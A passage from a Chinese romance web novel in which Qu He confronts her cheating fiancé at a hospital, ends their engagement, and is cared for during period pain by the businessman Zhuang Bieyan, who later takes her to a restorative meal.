曲荷的名字像一根刺扎进钱昭野的神经,脑袋一瞬间清醒,那些被遗忘的画面涌了出来。
是深夜的停车场,曲荷在车边默默等待,是他酒醉后,曲荷小心翼翼地搀扶,是他喝酒胃疼,曲荷递到嘴边的药..
可她现在居然敢提辞职,还想取消婚约...
钱昭野又灌下一杯酒。
昏暗的包间,人心阴暗被放大数倍。
“钱总这个秘书虽然打扮老气,但那身材...啧啧...”
不知道哪个副总掏出手机晃了晃,“我有次拍了张背影,别说...”
几个男人哄笑起来,起哄要看看照片。
“钱总,您这个秘书,私下怎么样啊?”张副总做了个下流手势,满脸猥琐。
对他们来讲,办公室里的那些事大家都心照不宣,出了家,关上办公室那扇门,谁管你是秘书还是小蜜。
钱昭野握杯的手紧了紧,理智告诉他应该制止,但酒精和自尊心作祟,他只是扯了扯嘴角:“她啊,和你们见到的一样,刻板无趣得很。”
话匣子被打开,那些露骨的调侃接踵而至。
钱昭野听着他们对曲荷的意淫,胃里翻涌着说不清的情绪。
可在愤怒之下,某种不可言喻的扭曲的快感涌上心头。
曲荷,你看,这就是你想离开我的后果。
“什么话这么好笑?我也想听听。”
一道清冷的男声穿透哄笑和嘈杂。
头顶内圈灯光骤然亮起,众人被刺得眯眼。
再次睁眼,一个身着暗纹西装的男人站在沙发旁,领带上的金属领针泛着冷光。
男人单手插兜,居高临下地俯视着他们,像在看一群蝼蚁。
“庄...庄总!”张副总话都哆嗦了。
凌霍小跑着进来,脸色煞白:“庄哥,我...”
庄别宴抬手制止了他,目光落在掉落在沙发上的手机。
他身旁的桃花眼男子上前,单脚踩上玻璃矮桌,一把抄起手机:“哟,偷拍啊?”
“一个个大老爷们,尽干这些龌龊事?”郁汕冷笑。
“郁二少!误会!都是误会!”
张副总腿一软,酒醒了大半。
郁汕手指在屏幕上划了几下,把手机狠狠摔在地上,皮鞋在上面碾了好几下,屏幕应声碎裂。
郁汕的桃花眼里结着冰:“都要不要脸呐?”
“我们喝多了!”旁边几个副总颤声辩解。
“喝多了呀?”郁汕若有所思点了下头。
他环视一圈,抄起桌上的刚开的路易十四,对瓶灌了一口,“巧了,我也喝多了。”
他打了个响指,经理立刻躬身进来。
“这几个人...”郁汕手指一一划过,像是阎王点兵,“全给我扔警察局去!”
张副总普通跪下:“郁,郁二少,我们真的知道错了!”
困兽犹斗。
几个副总爬到了庄别宴脚下,“庄总,您大人有大量...”
庄别宴始终未发一言。
“庄总...”钱昭野强撑着站起来,却在对上那双深不见底的眼睛时,所有辩解都卡在了喉咙里。
保安鱼贯而入。
直到坐上警车,钱昭野也还是想不明白,为什么郁汕会为一个素未谋面的人大发雷霆。
包厢内,郁汕看着眼里满是清澈愚蠢的凌霍,拍了拍他的肩膀,语重心长道:“小凌啊,你还需要成长。”
尊悦顶层。
郁汕倚着吧台抿了口酒,他点了点台面,侍应生很快送上一杯新酒。
他端着走向坐在沙发上看手机的庄别宴。
“喝点?”
庄别宴头都没抬。
郁汕扯了下嘴角,带着几分挫败,一饮而尽,“你真打算等到结婚才喝?”
庄别宴没回复,只是敲着字,不知道在和谁聊天。
郁汕跨过茶几坐下,凑过去看庄别宴手机上的聊天记录了。
“顾聿?”他挑眉,“你让北城刑警队长亲自去审那几个烂酒鬼?”
庄别宴收起手机。
郁汕撞了下他肩膀,一脸看戏表情,“我刚才可是替你出的头,你还瞒着我?你是不是认识他们说的那个女秘书?”
庄别宴蹙了下眉,“她叫曲荷。”
郁汕“哦”了声,音调拐了十八个弯。
心里的八卦之火熊熊燃烧,“你俩什么时候好上的?难怪刚才听到有人说她刻板无趣的时候你....”
“她三岁就敢爬两米的杨梅树了。”庄别宴突然开口。
郁汕一愣。
什么杨梅?谁在爬树?
他后知后觉,桃花眼一亮,“我去!庄别宴,你深藏不露啊!”
第22章 撞破怀孕,撕碎谎言(上)
警察局里,原本简单的审讯,因为顾聿的到场,硬生生熬到了后半夜。
钱昭野做完笔录回家已是凌晨三点。
别墅里漆黑一片,钱昭野跌跌撞撞找到了沙发躺下,习惯性地喊:“曲荷,我胃疼!”
无人应答。
钱昭野又喊了句:“曲荷,药!”
空荡荡的别墅安静得可怕,他只能听到自己的声音。
胃里一阵翻江倒海,钱昭野只好捂着肚子,踉跄着去翻药箱抽屉。
拉出抽屉,入目就是曲荷留下的便利贴:“胃药在药箱第三个格子,每次最多两片。”
钱昭野手一颤,便利贴掉落,被空调风卷跑。
他抓了个空。
冷汗浸透衬衫,钱昭野只好先去找药,却只能找到一个熟悉的空药瓶。
静夜,繁星点点。
有人咎由自取,有人在被默默守护。
翌日,晨光刺破云层。
钱昭野靠着沙发在地上瘫坐了整整一夜。
地上的手机铃声突然响起。
他身体一颤,猛地睁开眼,阳光刺得他眼睛酸胀得不行。
钱昭野抓过手机点开微信。
昨晚他给曲荷发的语音消息,却像是石沉大海。
铃声响个不停,乔眠两个字在屏幕上跳动。
他抿了下干裂的嘴唇,在挂断的前一秒,接通。
“钱昭野。”乔眠的声音透过听筒传来,“我怀孕了。”
......
早上,曲荷是被痛醒的。
下腹部传来一阵绞痛,逐渐蔓延到了后腰。
熟悉的痛感。
曲荷把自己蜷成一团,整张脸埋进了枕头。
又来了。
她的经期一向不准,每次快来之前都会伴着撕扯的痛。
曲荷咬着牙缓了几分钟,勉强撑起身体打开手机看了眼日期,果然,她推迟了八天。
她给司月发了条消息,挂了北城人民医院的号,洗漱完后开车去了医院。
医院走廊,来往嘈杂,空气中飘着消毒水的味道。
给曲荷看病的是一个和她妈妈年纪一样大的医生。
问诊不过七八分钟,就给她配了两三种调理的药。
“你这个情况还是要注意情绪调节。”医生推了推眼镜,语重心长道:“少熬夜,少喝冷饮,少生气...”
在她说到第八个“少”字的时候,曲荷连连点头,忍不住起身离开。
“记得放在心上,必要时可以试试中医调理...”医生还在补充。
曲荷能吃得了生活的苦,却吃不了中药的苦。
这也是她这些年一直看西医的原因。
到了药房窗口,她扫码取药。
“曲小姐。”药房护士看到她打了个招呼。
曲荷一愣。
药房护士边核对药品和姓名边说,“这五年你隔三差五来医院配药,咱们药房的护士都眼熟你了。”
“诶?”小护士疑惑了声,抬头。
“曲小姐,你这次配的都是调理激素的药,你胃病好了?”
钱昭野胃不好,他的药都是曲荷来医院亲自配,亲自取的。
雷打不动,风雨无阻的五年,连医院药房护士都记住了她的名字,可钱昭野呢...
她想起手机里那几条半夜发来的语音消息,淡淡嗤笑。
药房护士把药地给她,笑着说:“胃是情绪器官,曲小姐这几年也算是苦尽甘来了。”
曲荷接过药,微微一笑,“谢谢。”
“对了,这盒药怎么吃你要再上去找一下医生,它得根据个人情况调整剂量。”护士指着一盒药说。
曲荷拿过那盒药,看了眼名字,和她道谢。
回到门诊从医生那里问清楚了吃法,曲荷把药装进包里,正想去坐电梯,就看到两个人从对面的科室走了出来。
是乔眠。
还有钱昭野,他单手搂着乔眠的腰,另一只手上捏着一张B超单。
乔眠看到她的时候脸上的笑意还没来得及收起,眼底先是闪过一丝惊诧和怯意,但很快就被得意掩盖了下去。
她的小腹还平坦,可她的手却有意无意地抚在上面,像在炫耀什么战利品。
曲荷觉得她的人生简直可以用荒诞两个字来形容。
世界在这一刻变得模糊,却又无比清晰。
钱昭野在看到她的那瞬间,手像是触电般立刻从乔眠腰上收了回来,脸上闪过一抹惊慌。
“阿荷,你怎么在这?”
“我倒是想问你为什么在这?”
“我可以解释....”
曲荷后退,摆手拒绝他上前。
可这次钱昭野却没有停下,冲上前一把拉住了她的手腕:“阿荷,只是一个意外,你相信我!我喝醉了...我什么都不知道...”
手腕被他牢牢钳住,曲荷甩了好久都没挣脱开。
喝醉了?
只是意外?
她看着这个曾经爱了七年的男人,脸上满是惊慌,可依旧在狡辩。
太可笑了,到现在,他还在撒谎。
他怎么可以一次次刷新人的下限?
他还是人吗?
曲荷咬着唇,直到发麻,垂在身侧的另一只手死死掐着包。
她深吸一口气,从喉咙底吐出了几个字:“钱昭野,你还要骗我到什么时候?”
曲荷猛地抓住包往他脸上甩了过去,里头的药全部飞落在地。
动静吸引了不少来往路人,几个等待候诊的病人探头张望。
钱昭野脸色铁青,面子上过不去,强硬地拉着曲荷的手往楼梯走,“我们换个地方说。”
“你放开我,你想干什么?你的情人和孩子在外面!”曲荷挣扎,可钱昭野一个男人的力气比她大了不少,直接把她拽到了楼梯间。
防火门重重关上,阳光隔绝在外。
昏暗的楼梯间里,钱昭野的脸在应急等下忽明忽暗,阴沉可怖。
第23章 撞见怀孕,撕破谎言(下)
“阿荷,我可以解释!”
“解释什么?”
曲荷冷笑。
“解释你手机的双系统?解释你和乔眠三年地下情?解释你和乔眠在婚房里的刺激情趣?还是解释她肚子里的孩子不是你的?钱昭野,你真让我恶心。”
曲荷一顿输出,终于把那些憋在肚子里的话都吐了出来。
钱昭野那副虚伪的面具彻底破碎,表情从慌乱转为震惊,“你..你早就知道了?”
他回想起这段时间曲荷态度的转变,一瞬间脑海里所有的细枝末节都串成了一条线,“阿荷,我错了,我真的错了,你原谅我一次。”
曲荷连正眼都不打算瞧他,“你别叫我的名字,我嫌脏!”
钱昭野想抓她的手,“都是她勾引的我,都是乔眠。真的只是一次意外,我对她没有感情,我爱的一直都是你!你知道的!”
见她不为所动,钱昭野甚至直接冲了过来想搂她。
他情绪上头,喘着浓重的粗气说:“阿荷,我们在一起七年了,你再给我一次机会,我一定改!只要你能原谅我,我什么都答应你。”
曲荷见到他靠近,一步步往后退,直到后背抵上墙壁。
“钱昭野,原来你还记得我们在一起了七年,那这些年你是怎么对我的!”
“对不起对不起,这个孩子我不会留下,我会让她打掉。阿荷,你再给我一次机会,我们明天就办婚礼....”
啪。
曲荷抬手一巴掌落在他脸上,“够了!”
清脆的巴掌声回荡在楼梯间。
钱昭野被打得懵了好了一会儿,不可置信地看着她。
曲荷冷冷看着她,像在看一滩烂泥,“七年了,我终于看清你是个什么东西,你连个人都不配做,像你这样的东西只配活在阴沟烂泥里。”
钱昭野偏着头,半晌才转过身来,眼里闪过一抹扭曲的愤怒,全然没有了刚才的哀求。
“七年了,你终于说了真心话。曲荷,你其实一直都瞧不起我吧。”
他咬了下后槽牙,声音越来越高:“那你呢,你以为自己又好到哪里去?五年前如果不是我求你留在公司,你是不是早就飞到英国去了?”
“出轨难道都是我一个人的错吗?如果不是你控制欲强,不爱打扮,不善解人意,我还会找别人吗?你口口声声说爱了我七年,却连这件小事都不肯原谅..”
曲荷不可置信看着他。
看他倒打一耙,看他咄咄逼人。
世界像是静音,只能看着他不断开合的嘴唇..
爱了七年的面容在这一刻变得如此扭曲,可怖..
“所以....”曲被气得胸口难受,说话只能断断续续,“..你认为出轨都是我的原因?”
原来人心真的可以丑陋到这种地步,这就是男人本能,自私,卑劣..
得不到就要毁掉,爱不成便生恨!
这一刻,曲荷甚至丧失了和他辩解的欲望。
那些质问,斥骂在这一刻都消失了。
连一个眼神都吝啬给予。
因为他已经不值得了。
“你说完了吗?”曲荷听见自己的声音,平静得像是从深海底发出来,“我们之间没有继续纠缠下去的必要了,你记得通知取消婚礼。”
撂下这句话她走向门口。
钱昭野却疯了似的冲上来想再次抓她的手,却落了空。
“曲荷!你想清楚了,除了我还有谁会要你?你离开我这辈子都不可能幸福!你真的能放下七年的感情?”
曲荷没有停下步伐,反而加快速度,像是在逃离什么地狱。
钱昭野被逼急了,声音高了八个度,“曲荷,我都道歉了,你还想怎样?非要逼死我吗?”
曲荷顿了下,猛地拉开门,天光倾泻而入。
她回头,冷眼看他,一字一顿:“那你去死好了。”
向阳而行,永不回头。
走廊上,乔眠还是站在刚才的地方,手里拿着她的包,“曲姐,包别落了。”
曲荷停下,目光落在她平坦的小腹上。
乔眠倒是一点也不慌,带着几分炫耀似的摸了摸肚子,眉眼带笑,“八周了。”
她声音甜得发腻:“他妈妈一直想要个孙子。”
付月华想要孙子。
她当然知道。
那些在钱家饭桌上的冷嘲热讽再次在耳边响起:
“昭野啊,妈给你炖了补汤,这女人要是不能生,趁早换一个..”
“曲荷,不是我说,你这肚子几年了还没动静?我们钱家绝对不能在你这里绝后!”
“我们家这是什么运气啊,碰上个不会下蛋的母鸡,什么都指望不上。”
每每听到这些话她觉得自己就像是个待价而沽的商品,能随意被人挑三拣四,评头论足。
可这难道都是她的错吗?
曲荷喉咙发紧,死掐着掌心。
见她沉默,乔眠得意地耸了耸肩,“曲姐,这孩子我不会打掉的。”
她摸着肚子,眼里闪着几分势在必得,“他会是钱家的长孙,日后...钱家唯一的继承人。”
曲荷没有回答。
她收回视线,上前从乔眠手里拿过自己的包,擦肩而过时,微微偏头。
“男人这种东西,出轨只有零次和无数次,希望你能如愿坐稳....钱太太这个位置。”
乔眠嘴角的笑僵在脸上。
曲荷留下这句话,头也不回地离开。
乔眠盯着她离开的背影,良久后低下头,摸着肚子轻声呢喃,“当然。我想要的谁也抢不走,对吧宝宝。”
再次抬头,她又挂了那副我见犹怜人畜无害的小白花模样。
她迈着小碎步担忧地走向楼梯间,声音带着几分颤抖:“昭野,你在哪儿~”
第24章 庄别宴稳稳托住了她
从医院出来,曲荷一口气拉黑了钱昭野和乔眠的联系方式,以及所有钱家人,还退出了公司所有工作群。
回到家后,情绪才后知后觉反扑上来,脑袋充血,头晕止不住冒汗,大脑极度缺氧好像让她丧失了行动力,整个人都麻木了。
曲荷煮了碗小馄饨,吞了两颗药,直接躺在了床上。
半梦半醒,迷迷糊糊,意识在清醒和混沌之间徘徊。
再次醒来是被雷雨吵醒。
闪电劈开夜空,白光透过窗帘缝隙,把房间照得惨白。
睡前没有关窗,狂风卷着雨丝在地板上积了一滩水洼。
凌晨三点。
曲荷太阳穴突突跳着,撑着身子下床关了窗,拖了地。
刚躺回床上,小腹突然传来一阵尖锐的绞痛,她弓着身子冲进卫生间,低头就看到睡裤上晕开的暗红色。
医生开的药,未免见效太快了。
狂风骤雨带着痛经来了。
六月的雨夜,她却冷得发抖。
灌了热水袋捂在肚子上,却还是驱不散骨子里的寒意。
曲荷想起大学时的自己,从来没有这种毛病。
是这五年陪着钱昭野熬夜应酬,又加上情绪内耗才慢慢有了这个毛病。
记忆里最痛的一次,是在钱家吃饭。
她痛得脸色惨白,筷子都拿不稳,当时付月华却只是轻飘飘地瞥了她一眼说:“曲荷啊,你这个病生个孩子就好了。”
孩子...
迷迷糊糊间,曲荷又掉入了另一个梦境。
她穿着洁白的婚纱,肚子高高隆起。
宾客们笑脸盈盈,可台上乔眠挽着钱昭野的手臂,正在交换戒指。
突然,腹部传来撕裂的剧痛,鲜血顺着腿蜿蜒而下,满地鲜红...
她想喊,却发不出声音。
想逃,却寸步难行。
突然耳边传来电话铃声。
曲荷猛地睁开眼。
天已透亮,艳阳高照。
曲荷稍稍侧过身想拿手机,小腹就传来一阵刺痛,像被针扎一样。
是司月打来的电话,说家里临时有事,想让她上午去一下店里,有个客人要来取货。
曲荷顺便问了下庄别宴手表的事情。
司月一听就知道了。
在庄禧体验完陶瓷隔天她就在围裙口袋里找到了手表,上网搜了下价格后,也不敢在朋友圈问,就放在了店里抽屉,想着等失主上门。
等挂断电话后,曲荷靠着床背缓了一下,洗漱完后就去了荷月坊。
她根据司月说的找到了手表,是一块百达翡丽,黑色表盘外面镶嵌了一圈钻,她拿过拍了张照片发给庄别宴。
【庄总,您的手表已经找到了,需要我找人给您送过去吗?】
想了想她删掉了后半句话,改成了【需要我给您送过去吗?】
这么贵的手表,这要是路上出点什么事,把她卖了都赔不起。
片刻后,就听到手机响了一下。
庄别宴回复【多谢。我现在有个会议,二十分钟后到店来取。】
下面配了张图片。
偌大的会议室里,长方形桌两旁坐满了西装革履的人,几个前排的人半张着嘴,满是震惊看着镜头。
曲荷:“.....”
庄别宴这样的人,开会居然也看手机?
......
庄氏集团。
会议室。
谭聪第三次偷瞄自家老板。
就在刚才,实验室的郭博士和财务部罗副总因为一例委外实验吵得面红耳赤。
气氛剑拔弩张的时候,一声清脆的消息提示音突然响起。
“谁开会不关静音?这种低级错误居然还会发生?”郭博士气上头,直接拍着桌子问。
一片死寂中,庄别宴从容拿起手机:“抱歉,是我的。”
众人目瞪口呆。
而他们眼中素来严谨的老板,先是盯着屏幕轻笑,然后举起手机,“咔嚓”拍了张会议照片。
郭博士的怒火卡在喉咙里,罗副总张着嘴也忘了反驳。
气氛凝固时,庄别宴放下手机,神色如常:“实验可以委外,但进度不能延误。”
一句话拉回正题。
会议再次渐入佳境。
可二十分钟后,大家又看见他们庄总突然起身:“会议继续,谭聪继续跟进。”
说完,大步离开了会议室。
留下会议室的人面面相觑。
谭聪看着老板离去的背影,默默摇了摇头,对他的去向隐隐有了猜测。
.....
荷月坊内,曲荷蜷缩在沙发上抱着腿,手紧紧捂着肚子,试图用这种方式缓解疼痛。
出门前吃下的止疼药的效力来得快去得也快,疼得她直眼前发黑。
她解开手机看了眼,外卖距离显示不足两百米,刚才她疼得不行下单了止疼药和红糖。
曲荷强撑着起身,拖着虚浮的步子往门口挪。
陶瓷铃铛清脆作响。
“谢谢,给我就......”她伸手,话却戛然而止。
映入眼帘的不是外卖员的黄色马甲,而是一双锃亮的黑色皮鞋,往上是笔挺的黑色西装裤,以及,庄别宴那双琥珀色的双眸。
“庄...总?”
庄别宴目光落在她惨白的唇色上,眉头微蹙:“你...”
“3521,曲女士,你的药!”
外卖小哥的声音从庄别宴身后传来。
庄别宴闻声转头,宽阔的肩膀完全挡住了门口的光线。
曲荷虚弱地抬眼:“庄总,能麻烦您让......”
话未说完,庄别宴已经接过那个鼓鼓囊囊的黄色纸袋。
两人进门后,曲荷靠着前台从他手里接过袋子。
“你不舒服?”庄别宴的声音沉了几分。
曲荷摇头,拆开纸袋。
包装窸窣作响,刚打开一包卫生巾就滑落,掉在了两种中间的地板上。
空气凝固了几秒。
曲荷想起来,这是刚才她为了凑单买的。
她正打算弯腰,一只骨节分明的手已经先一步捡起。
庄别宴神色如常,捡起,递还。
曲荷接过:“谢谢。”
门口的陶瓷铃铛再次响起。
一对年轻情侣推门而入。
女生挽着男友的手臂,说道:“司老板,我们来取两个月前订的茶具。”
她的目光在两人之间转了转,疑惑地眨眨眼,“换老板了?”
“司老板今天家里有事。”
曲荷把药匆匆塞进前台抽屉,强撑着上前:“金女士对吗?您订的是两套醉兰亭酒具。已经包装好了,您稍等一下,我去给您拿来。”
几句话的功夫,冷汗已经浸透了后背。
等她走到里间仓库门口,突然眼前一黑,双腿软得失去力气,就在她即将跪倒的瞬间,一双有力的手臂稳稳托住了她的手肘。
“小心。”
庄别宴的声音近在耳畔,温热的气息拂过耳廓。
第25章 庄别宴的“小心思”
恍惚间,一个回神。
曲荷已经被扶着到了里间的沙发上,刚坐下,一杯冒着热气的红糖水已经递到眼前。
“这...”
曲荷愣愣接过。
玻璃杯壁传来的温度由指尖传递逐渐蔓延到四肢百骸。
暖暖的...
庄别宴不知道从哪里找了个矿泉水瓶,在往里面灌热水。
灌满后,他拧紧瓶盖,用纸巾包了两圈才递给她:“捂着会舒服一些。”
曲荷接过放在肚子上,小腹传来暖意,她正准备抬头道谢,就看到庄别宴已经转头往外走去。
她下意识抓住他的袖口:“你去哪......”
话一出口才觉得这话似乎有些冒犯了。
可庄别宴却像是没意识到一样,回头看着被拉住的西装袖口,垂在另一侧的手在背后不动声色攥成拳。
曲荷后知后觉收回手。
庄别宴唇角微扬,慢条斯理解开西装纽扣。
这个动作被他做得莫名撩人。
曲荷耳根发烫,低头猛灌了一口红糖水,却听头顶传来一声低笑。
下一秒,带着体温的西装突然罩在她肩上,淡淡的雪松瞬间将她包裹。
“好好休息,曲老板。”他眸光微闪,“我去给你打工。”
西装外套还残留着他身上的温度,又因为他说的话,曲荷瞬间涨红了脸。
正想拒绝,可庄别宴已经转身走向仓库。
“等等!”
曲荷急的声音都变了调,“醉兰亭在仓库第一个柜子第二层,橘色包装盒,一共两套,别搞混了,记得给顾客验货......”
庄别宴站在逆光处,阳光把他的影子拉得很长:“曲荷,你可以试着相信我。”
自己的名字,从他低沉的嗓音里念出来,曲荷觉得有些怪怪的,像是莫名多了几分....缱绻。
她啥也不说了,只是默默低头把发烫的脸埋进西装领口。
手里红糖水氤氲的热气缓缓上升,曲荷捧着杯子抿了口,甜味在舌尖蔓延。
透过柜子间隙,她能看到庄别宴在仓库找货。
没一会儿,外间大堂就传来他从容不迫的声音。
其间还夹着赞叹女声:“现在的店员都这么帅了吗?”
暖洋洋的阳光照在身上,一杯水红糖水下肚,曲荷觉得肚子的痛缓解了不少。
可能是昨晚没睡好,眼皮子逐渐加重。
等她再睁开眼,就看到庄别宴坐在斜对面的椅子上,腿上放着笔记本,神色专注。
刚醒来,曲荷脑子还是晕乎乎的,目光迷离的看着斜对面的男人。
灯光打在他棱角分明的侧脸上,衬衫袖口被他卷至小臂,曲荷这才发觉庄别宴的左臂外侧有一颗小黑痣。
“醒了?”
“..嗯。”
庄别宴收起电脑,看了过来。
曲荷坐直身体,刚才仰着头靠着沙发睡着了,后脖子这一下像是有根筋绷住了,又酸又涨。
她揉了揉后脖子,随口问道:“几点了。”
许是刚醒,大脑还没来得及反应,连她自己都没发觉这三个字没有加任何前缀和称呼,也没有疏离的客套,比起以往和庄别宴说的那些话。
这三个字带着明显的..熟稔,甚至因为刚醒,话里还带着几分模糊不清的...黏糊。
庄别宴眉梢挑了下,回答:“十一点半。”
曲荷:“!!!!”
什么!十一点半?
她睡了快两个小时!
大脑瞬间清醒,理智回归。
曲荷这才后知后觉她刚才居然真的让庄别宴去打工招待客人看店,而她自己却躺在沙发上睡着了。
还睡了两个小时!
身上盖着的还是他脱下来的西装。
尴尬,羞愤,各种情绪涌上头。
她猛地站直,刚想把手里的西装递出去,却想到这件衣服她刚才披过后又收了回来。
“庄总,抱歉。耽误您时间了,我现在就把手表给您拿来。”
“不急。”
庄别宴起身走近,雪松味笼罩下来。
“你现在感觉怎么样?还好吗?”他问。
“..好很多了,今天谢谢您。”曲荷下意识捏着西装,垂眸避开他的视线回答。
“是一直都这样吗?每次都这么会这么难受?”
“啊?..”
曲荷愣了一下,这问题太过私密,可偏偏他又问得坦荡。
她点了点头,又摇了摇头,模糊着说,“也不是,看情况吧。”
曲荷倒不是觉得尴尬,不好意思,只是觉得就她和庄别宴现在的关系,好像还没有到这可讨论这方面话题的地步。
庄别宴似乎听出了几分她话里话外的意思,适当转移了话题。
曲荷扯了下嘴角,放下西装,出去给他拿手表。
她拿了手表顺道上了个卫生间,等回到里间,却看到庄别宴已经穿上了西装外套。
“这..”
“怎么了?”庄别宴看过来。
曲荷手指了下他身上的外套,欲言又止,“您的衣服...我..”
庄别宴眼睛微眯,恍然一笑,“曲荷,我以为我们是朋友?”
曲荷:“啊?”
她愣了一下才反应过来他的意思。
可谁家朋友这么互穿衣服啊,那不是渣男渣女才干的事吗?
但庄别宴都已经表示不介意,她要是再说些什么就显得自己小家子气了。
对上他坦然的目光,曲荷想了想还是把‘要不我干洗完再还给您’这句话咽回了肚子里。
“庄总,您的手表。”
“多谢。”
庄别宴接过手表带上,表盘在灯光下泛着冷冽的光,衬得他腕骨分明。
高贵,优雅,很衬他。
庄别宴整理好袖口,看了眼时间,似不经意开口,“手表的事多谢你帮忙,要不要一起吃个饭?”
曲荷顿了一下,下意识客套:“庄总您太客气了,今天的事还得多谢您帮忙,不然我一个人估计得叫救护车了,该是我请您吃饭才对。”
庄别宴看着他,唇角一勾,“也可以,那走吧。”
曲荷:“?”
这么爽快就答应了?
按照流程不应该你客气拒绝,我再次邀请,最后你终于答应吗?
怎么一下子跳过中间流程,直接到了最后一步呢?
“那个...”
曲荷还想说些什么,却看到庄别宴已经拎着电脑准备走了。
见她还驻在原地,回头,“怎么了?”
曲荷挠了挠下巴,摇了摇头,“没什么,就是想问您吃什么。”
“我已经定好了,上车就行。”
“?”
定好了?
曲荷感觉自己被资本做局了。
她睡着的那两个小时到底发生了什么?
来不及多想,见庄别宴已经快走到门口,她赶紧收拾东西跟上。
还是熟悉的迈巴赫副驾。
刚坐下,后腰就传来一阵细微震动。
是庄别宴开了座椅按摩。
曲荷放松靠着,酸胀的后腰舒服了不少。
引擎发动,迈巴赫驶离。
许是已经不是第一次坐这个位置,曲荷倒也不那么拘谨,瞥了眼驾驶座的男人:“庄总,您定的是哪个餐厅?”
庄别宴目视前方,喉结微动:“望江阁。”
曲荷点了点头。
望江阁最出名的就是小龙虾了,鲜香热辣,北城一绝。
难不成庄别宴是想带她去吃小龙虾?
曲荷掌心下意识摸了摸肚子,她痛经不能吃这些性寒,辣的东西,但庄别宴毕竟今天帮了她,还是算了吧,大不了等下少吃一点就行。
庄别宴似乎察觉到什么,趁着红灯回头问了句,“怎么了?”
曲荷摇摇头,“没什么。望江阁挺好的。”
从荷月坊到望江阁车程二十分钟。
等被侍应生带到了包间,看到桌上的菜后,曲荷才发觉自己想多了。
第26章 当面开大,他的传闻
想象中的麻辣鲜香并没有出现。
取而代之的是一桌清淡滋补的药膳。
当归红枣黄芪鸡汤冒着热气,鲫鱼豆腐汤旁浮着若隐若现的枸杞,其余的一些蔬菜都是用高汤煨过,桌上不见半点辛辣。
曲荷愣在原地,僵硬地转过头看向站在旁边的庄别宴。
“坐。”
庄别宴微微一笑,走上前拉开椅子。
他单手搭在椅背上,朝曲荷歪了下头示意过来。
曲荷扯了下嘴角,上前坐下。
庄别宴绕过桌子,在她对面落座,盛了碗桃胶银耳羹然后轻推转盘,下一秒汤就到了她面前。
“尝尝。”
瓷碗温热,汤香扑鼻。
曲荷道谢后,低头抿了口,甜甜的。
“味道怎么样?”庄别宴问。
“很好喝。”曲荷点点头。
曲荷又喝了口,然后放下勺子,看向对坐人,“庄总...”
“嗯?”
“这是您吩咐做的吗?您是怎么知道的?”
庄别宴又拿了只空瓷碗盛汤,嗓音低沉,“曲荷,你以为那两个小时,我只是在帮你看店?”
曲荷:“.....”
庄别宴把盛好的当归红枣黄芪鸡汤推到她面前,“看网上说这个时期喝当归黄芪汤比较好,我让厨师做的时候少了油脂,应该不会太腻,你尝尝看。”
曲荷看着面前的汤出神。
金黄色的鸡汤上几乎不见油星,几颗红枣和枸杞在汤面漂浮旋转,可见下厨的人废了多少心思。
庄别宴刚才说网上?
难道是在她睡着的两个小时,他上网查了经期的注意事项?
曲荷说不上来现在是什么感觉,莫名觉得眼眶热热的。
记忆里,钱昭野从来不会注意这些。
他只会在她疼到不行的时候,说‘阿荷你再坚持一下,这个会议很重要,等结束我带你回去好好休息。’
坚持一下。
再忍一下。
然后她忍了一年又一年...
坚持。忍耐。
这两个词贯穿了她的整整七年。
曲荷陷入回忆狠狠掐着掌心,直到庄别宴的话把她拉了回来。
“怎么了?”
她回神,开着玩笑掩饰刚才的情绪,故作轻松道:“我还以为庄总是带我来吃龙虾的。”
庄别宴眸光一闪,“痛经期间,忌生冷辛辣。”
他唇角勾起一抹若有似无的弧度,“想吃龙虾的话,下次再带你来。”
下次....
曲荷没回答。
两人沉默,互不干扰开始喝汤。
曲荷喝了口当归黄芪红枣鸡汤,微微蹙了下眉。
是连调味料都盖不住的中药味。
无法接受。
她放下勺子,继续喝起刚才没喝完的桃胶银耳羹。
一碗汤见底,正准备去盛。
庄别宴已经把汤转到了她面前。
“谢谢庄总。”
庄别宴看着她盛汤,缓缓开口,“所以车上的时候你以为我是想带你来吃龙虾?”
曲荷:“嗯?”
她回想了下,笑了笑点了下头。
庄别宴眸光暗了暗,两手架在腿上,往后一靠,目光灼灼:“如果真的来带你吃龙虾呢?”
曲荷舀了口汤放进嘴里,轻声道:“本来打算少吃一点。”
“曲荷。”
“怎么了?”
她抬头,撞进了庄别宴深邃的眼眸里。
两人目光在空中交汇,不知是桌上汤的雾气遮挡了视线,还是错觉,曲荷似乎看到庄别宴无奈地叹了声气。
“看来是我做得还不够好。”
“?”曲荷不明白他的意思,但还是下意识道:“庄总,您已经很好了。”
庄别宴深深看了她一眼,“是吗?那希望下次可以听到你的实话,无论是喜欢还是拒绝。”
曲荷抿了下唇。
在钱昭野身边的这几年,她已经是下意识地把自己放在了最低位,无论是喜好还是情绪。
而也因此‘拒绝’和说‘不喜欢’对她而言是件陌生的事。
可现在却有一个人告诉她可以大方表达自己的想法。
上次吃饭也是,庄别宴告诉她可以学着勇敢尝试新事物。
这次也是...
她捏着勺柄的手紧了下,抬起头看向他,说:“我不喜欢喝这个鸡汤,太苦了,中药味好重。”
她把鸡汤往旁边一推,神情坚定,一副任谁劝都没用的表情。
但在庄别宴看不到的桌底下,她手指却有些不安地绞在一起。
只是过了一会儿,就听到对面传来一声轻笑。
庄别宴直直盯着她,轻轻摇了摇头,“没想到听到的第一句实话是这个。”
曲荷干咳一声,“是你让我说的。”
“这就是刚才只喝了一口的原因?”
“啊?”
曲荷愣了一下,所以刚才庄别宴已经注意到了?
庄别宴叫了侍应生进来,把桌上有中药食材的汤都撤了下去,换了几份甜汤上来。
他看着曲荷,声音里带着几分柔和:“家里有一个爱吃甜的小朋友就算了,没想到这里也有一个。”
曲荷喝汤的手顿了下,反应过来后,耳根子开始发烫。
家里那个是庄禧,那“这里”的是..在说她?
手上舀汤的动作没停下,慌乱中被甜汤呛到,她捂着嘴咳嗽了几声,拍着胸口缓了几下。
“慢点。”
曲荷抬头就对上了庄别宴似笑非笑的眼睛。
她下意识收回视线。
大脑有点乱,像是有小人在打架,她想说点什么缓解这种奇怪的氛围。
等缓下来后,曲荷故作淡定岔开话题,“今天的事情还是要多谢庄总,没想到您当起店员,也能这么游刃有余。”
庄别宴夹了块鲫鱼肉放到碗里,“是吗?”
“在北城人眼里,庄总您可是神仙般的人物,谁会想到您会做看店这样的事情。”
“神仙...”庄别宴拿着筷子的手滞在半空。
曲荷:“怎么了?”
庄别宴神色很快恢复正常,“没什么。”
曲荷不以为意,经过刚才那几出,胆子大了点,说出来的话里也带了几分调侃的意味。
